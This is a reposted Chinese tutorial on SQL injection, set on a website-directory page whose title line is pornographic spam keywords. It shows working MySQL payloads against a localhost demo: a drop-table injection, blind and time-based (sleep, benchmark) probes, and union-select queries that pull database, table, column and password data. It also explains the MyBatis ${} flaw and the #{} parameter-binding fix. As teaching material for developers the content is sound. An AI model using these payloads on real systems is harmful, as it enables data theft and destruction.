日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網為廣大站長提供免費收錄網站服務,提交前請做好本站友鏈:【 網站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

本文主要講SQL注入基礎教程的,關注我并私信,我把這份教程發給你。

什么是SQL注入?

SQL注入指的數據庫將用戶輸入的數據當作SQL語句執行,從而對數據庫進行任意的操作達到攻擊的目的。這里的“用戶”一般是指發現網站漏洞并構造合法的SQL語句對網站進行攻擊的人。

怎么導致SQL注入?

SQL注入有兩個關鍵的條件:用戶能夠控制輸入、代碼中SQL語句對用戶輸入的數據進行拼接。如下:

String sql="select * from user where address='" + request.getparameter("address") + "'"

上面的程序滿足SQL注入的兩個關鍵條件,參數name是用戶輸入的,SQL查詢語句是經過拼接的,假設用戶輸入“深圳”,那么將會執行下面的SQL語句:

select * from user where address='深圳'

假設用戶輸入下面語句:

深圳';drop table user --

那么將會執行如下的SQ L語句:

select * from user where address='深圳';drop table user --'

明明只是想執行普通的SQL查詢語句,變成執行刪除數據庫的表的SQ L語句。SQ L注入可以造成數據泄露、系統權限被控制等惡劣的后果。

MySQL注入基礎

保存數據庫庫表的相關信息的庫表

攻擊者使用SQ L注入主要是為了獲取網站相關的信息,這些數據保存在數據庫表中,在MySQL中,默認庫名為information_schema的數據庫保存著MySQL相關的信息,其中有三個重要的表名,分別是schemata、tables、columns。

schemata表中保存著用戶創建的所有數據庫的相關信息,包括數據庫名稱、數據庫默認的字符類型等信息等。記錄這些數據庫名稱的字段為SCHEMA_NAME。

tables表中保存著用戶創建的所有表的相關信息,包括數據庫名稱、表名、、表的類型、表的引擎、表的創建時間、表的更新時間等信息,記錄數據庫名稱和表名的字段分別為TABLE_NAME、TABLE_SCHEMA。

columns表中保存著用戶創建的所有表字段相關的信息,包括數據庫名稱、表名以及字段名稱等相關信息。記錄數據庫名稱、表名和字段名稱的字段為TABLE_SCHEMA、TABLE_NAME、COLUMN_NAME。

重要的函數

database():數據庫名稱,獲取當前網站使用的數據庫。

version():當前數據庫的版本,獲取當前網站使用的數據庫版本,有些漏洞是跟版本有關系的。

user():當前MySQL的登錄用戶,通過用戶的權限對數據庫進行何種操作。

注釋

在MySQL中注釋符有三種:# 注釋、--空格 注釋、/*注釋*/ ,攻擊者通過注釋將原有SQL語句中的一部分注釋掉,換成攻擊者輸入的SQL,從而到達攻擊的目的。

根據上述講解的一些基礎信息,當攻擊者成功注入的時候,就可以輕易地獲取到所有數據庫相關的信息,這些Mysql注入的基礎信息十分重要,在下面的講解中將會用到這些基礎知識。

案列

有了上述的基礎知識,我們來看一個SQL注入的案列,當請求鏈接:http://localhost:8080/user/name?name=lingheng' 時,數據庫將會執行下面SQL語句:

select * from t_person where Fname='lingheng''

當參數name=lingheng' 時,上述的SQL語句是不規范的,所以會返回錯誤:

開發不得不知道的SQL注入

服務器拋出異常

由于SQL語句中多了一個單引號" ' ",數據庫執行錯誤,服務器直接返回錯誤的信息。從上圖的錯誤信息中可以清楚的看到執行的SQL語句,以及網站使用的數據為 MySQL , 錯誤的信息回顯在網頁上會給攻擊者提供必要的攻擊信息,方便攻擊者構造SQL注入語句進行攻擊。

注入的類型

SQL注入主要有兩種:盲注和時間注入。

盲注

當網站沒有錯誤回顯,攻擊者缺少重要的信息進行攻擊,但并不是無法進行攻擊,攻擊者通過構造簡單的SQL語句來測試網頁是否發生變化,從而判斷SQL語句是否執行了,這就是所謂的盲注。

比如,如下的請求鏈接:

http://localhost:8080/user/name?name=lingheng

執行的SQ L語句為:

select * from t_person where Fname='lingheng'

服務器成功返回查詢的結果:

開發不得不知道的SQL注入

查詢結果

可以構造如下參數進行請求:

http://localhost:8080/user/name?name=lingheng' and 1=2 %23

數據庫實際執行的SQL語句如下:

select * from t_person where Fname='lingheng' and 1=2 #'

%23是在瀏覽器中被解析為注釋符 #,注釋符將后面的SQL語句注釋掉。I=2這個條件為假,SQL語句查詢的結果永遠為空,服務器永遠不會返回結果,攻擊者得到一個空的頁面或者是具有錯誤信息的頁面。

攻擊者還可以構造如下參數進行請求:

http://localhost:8080/user/name?name=lingheng' and 1=1 %23

實際執行的SQL語句為:

select * from t_person where Fname='lingheng' and 1=1 #'

攻擊者構造1=1進行請求時,得到結果跟參數name=lingheng一樣。由于構造 and 1=1 和and 1=2 進行請求,得到的結果不一樣,說明這個鏈接存在SQL注入。這就是盲注的基本測試方法以及基本的原理。

order by 測試表的字段個數

當發現有SQL注入漏洞時,如何進一步獲取更多的數據庫信息呢?

當發現有SQL注入時,可以使用order by進行測試表的字段個數。

構造的請求鏈接為:

http://localhost:8080/user/name?name=lingheng' order by 4 %23

上述請求實際執行的SQL語句為:

select * from t_person where Fname='lingheng' order by 4 #'

order by 4 的意思是根據第四個字段進行排序,當請求結果返回正常時,說明表的字段個數是少于4的。將order by 4 換成order by 5 進行請求,發現請求時返回的結果是錯誤的,那么說明表的字段個數是小于5的,根據order by 4 和order by 5的兩個構造條件返回的結果,可以判斷這個表的字段個數為4。order by 5的請求結果如下:

開發不得不知道的SQL注入

order by 5的請求結果

由于網頁的請求結果是顯示在頁面上的,所以可以結合 union 進行下一步的攻擊,由于知道表的字段個數為 4 ,所以可以構造如下的鏈接:

http://localhost:8080/user/name?name=' union select 1,2 ,3,4  %23

實際執行的SQL語句為:

SELECT * FROM t_person where Fname ='' union select 1,2 ,3,4 #'

得到的請求結果為:

開發不得不知道的SQL注入

 

由于數據庫中沒有name=‘’的記錄,所以會返回union select 查詢的結果。接下來可以在2、3的位置使用database()、user()或者version()進行構造請求鏈接:

http://localhost:8080/user/name?name=' union select 1,database() ,user(),4  %23

實際執行的SQL語句為:

SELECT * FROM t_person where Fname ='' union select 1,database() ,user(),4 #' 

得到的結果如下圖所示:

開發不得不知道的SQL注入

 

從上圖可以看出,database()的結果是數據庫的名稱為test,當前登錄的MySQL的用戶是root。在MySQL 注入基礎部分,我們知道有MySQL的information_schema數據庫中有三個比較重要的表:schemata、tables、columns。這三個表保存著數據庫名稱、表名以及表的字段名等信息。當獲取到數據庫名稱后,可以構造如下的請求鏈接進行獲取表名:

http://localhost:8080/user/name?name=' union select 1,(select table_name from information_schema.tables 
where table_schema='test' limit 0,1) ,3,4  %23

實際的SQL執行語句為:

SELECT * FROM t_person where Fname ='' union select 1,(select table_name from information_schema.tables   
                                                       where table_schema='test' limit 0,1) ,3,4 #'

將union select 查詢中 2 的位置換成了如下SQL語句:

select table_name from information_schema.tables where table_schema='test' limit 0,1

上述SQL語句是根據數據庫的名稱查詢數據庫的表名,最多返回一個表名。如果查詢的數據庫中有多個表名,可以利用limit進行限制返回,limit 1,1 返回第二個表名。構造的請求返回的結果如下:

開發不得不知道的SQL注入

 

可以看到返回的數據庫的表名為t_person,知道數據庫的名稱和表名就可以構造請求鏈接查詢表的字段名,也是在union select 中 2 的位置換成如下SQL語句:

select column_name from information_schema.columns 
where table_schema='test' and table_name='t_person' limit 0,1

實際執行的SQL語句為:

SELECT * FROM t_person where Fname ='' union select 1,(select column_name from information_schema.columns 
                                                       where table_schema='test' and table_name='t_person' limit 0,1) ,3,4 #'

查詢的結果為:

開發不得不知道的SQL注入

 

從上圖可以看到第一個字段名字為Fid,查詢第二個字段名將imit 0.1改為limit 1,1 就可以了。通過查詢得到表的字段名為:Fid、Fname、Fpass_word、Fsex。通過數據名稱、表名以及字段名,就可以將數據中的數據數據查出來,將union select 中的 2 位置換成如下SQL語句:

select Fpass_word from test.t_person limit 0,1

根據上述的SQL語句就可以查詢字段對應的數據了,其他字段的數據也可以構造上述的查詢語句進行查詢。現在攻擊者沒有權限卻獲取了數據庫的名稱、表名、字段名以及數據庫中的數據,這對于網站來說是一件很危險的事。

時間注入

時間注入指的是攻擊者根據SQL語句執行的時間長短變化來判斷是否注入語句是否執行成功。

在MySQL中,bechmark()函數的作用是可以使同一個函數執行若干次,從而數據庫執行的時間變長。如下:

SELECT BENCHMARK(10000000,ENCODE("hello","world"))
> OK
> 時間: 7.411s

執行10000000次ENCODE("hello","world")函數,耗時7.411s,根據BENCHMARK函數執行的次數,SQL執行的時間也會變化,這樣就可以利用這個時間變化進行判斷是否具有注入的漏洞。另外,還可以根據sleep()函數來測試是否具有漏洞。sleep()函數經常與if條件語句一起使用,如下:

-- 數據庫名稱的長度大于1,則休眠五秒,否則返回1。
if (length(database())>1,sleep(5),1)  
-- 如果數據庫名的第一位字母是s,則睡眠5秒,否則返回1
if (substr(database(),1,1)='s',sleep(5),1)

上述SQL語句根據if語句中條件進行判斷,如果SQL查詢時間比sleep中的時間稍微長一點,那么就存在漏洞。

下面來看下具體的時間注入案例,構造請求鏈接:

http://localhost:8080/user/name?name=lingheng' 
and if (length(database())>1,sleep(5),1) %23

實際執行的SQL語句為:

SELECT * FROM t_person where Fname ='lingheng' 
and if (length(database())>1,sleep(5),1) #'
開發不得不知道的SQL注入

 

在瀏覽器中按F12進行調試,就可以看到這次請求耗時5秒多。在sleep函數中換幾個不同的數字測試,如果每次返回結果的時間都不一樣,那么說明注入是成功的。

當可以判斷進行時間注入,接下來也可以按照盲注的方法進行獲取數據庫的其他數據。

Mybatis注入分析

在Mybatis中,使用XML文件進行SQL語句的管理,有兩種語法對輸入的參數進行綁定,當 ${} 語法時,Mybatis會直接將輸入原封不動進行綁定,也就是說直接將SQL語句與原始字符串拼接在一起。而本教程中的注入原因就是使用${}進行綁定,所以才導致SQL注入,具體的XML位置如下:

<select id="selectByName" parameterType="JAVA.lang.String" resultMap="BaseResultMap" >
    SELECT * FROM  t_person where Fname ='${name}'
  </select>

當使用 #{} 語法時,Mybatis 會自動生成 PreparedStatement ,使用參數綁定 ( ?) 的方式來設置值,帶占位符 ( ? ) 的 SQL 語句只會被編譯一次,之后執行只是將占位符替換為用戶輸入,并不會再次編譯/解釋,因此從根本上防止了 SQL 注入問題。而在 SQL 注入中,用戶的輸入是作為 SQL 指令的一部分,會被數據庫進行編譯/解釋執行。

上面的教程主要是利用手工進行注入,相對來說是比較耗時,以及效率比較低的,SQLMap是自動SQL注入和數據庫接管工具,支持Mysql、Oracle, PostgreSQL, Microsoft SQL Server等多種數據庫。有興趣的可以直接使用SQLMap進行SQL的注入學習。

分享到:
標簽:注入 SQL
用戶無頭像

網友整理

注冊時間:

網站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網站吧!
最新入駐小程序

數獨大挑戰2018-06-03

數獨一種數學游戲,玩家需要根據9

答題星2018-06-03

您可以通過答題星輕松地創建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學四六

運動步數有氧達人2018-06-03

記錄運動步數,積累氧氣值。還可偷

每日養生app2018-06-03

每日養生,天天健康

體育訓練成績評定2018-06-03

通用課目體育訓練成績評定